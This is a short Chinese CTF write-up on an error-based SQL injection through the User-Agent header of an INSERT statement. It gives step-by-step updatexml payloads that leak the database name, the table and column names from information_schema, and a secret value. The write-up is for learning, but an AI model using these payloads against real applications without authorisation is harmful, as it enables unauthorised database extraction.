打开一看

记录一次ua头注入

随便提交点啥

记录一次ua头注入

题目名称是sql,结合题意考虑是ua头注入

抓包,添加一个单引号果然报错了

记录一次ua头注入

尝试注入

记录一次ua头注入

看回显猜测原语句应该是这种$query = sprintf("INSERT INTO visits (ua, user,passwd) VALUES ('%s', '%s','%s')",

尝试闭合' ,updatexml(1,concat('##',(database())),0))#

记录一次ua头注入

这里由于没有插入user参数,没有成功返回

继续',  'xZ',updatexml(1,concat('##',(database())),0))#

记录一次ua头注入

然后就是常规操作

',  'xZ',updatexml(1,concat('##',(select group_concat(table_name) from information_schema.tables where table_schema='test')),0))#
',  'xZ',updatexml(1,concat('##',(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='secert')),0))#
',  'xZ',updatexml(1,concat('##',(select secert from secert) ),0))#

记录一次ua头注入

相关文章:

  • 2021-11-22
  • 2021-10-20
  • 2021-12-27
  • 2021-08-01
  • 2022-12-23
  • 2021-08-10
  • 2022-12-23
  • 2021-06-08
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2021-10-30
  • 2021-10-13
  • 2022-12-23
  • 2021-11-19
  • 2022-12-23
相关资源
相似解决方案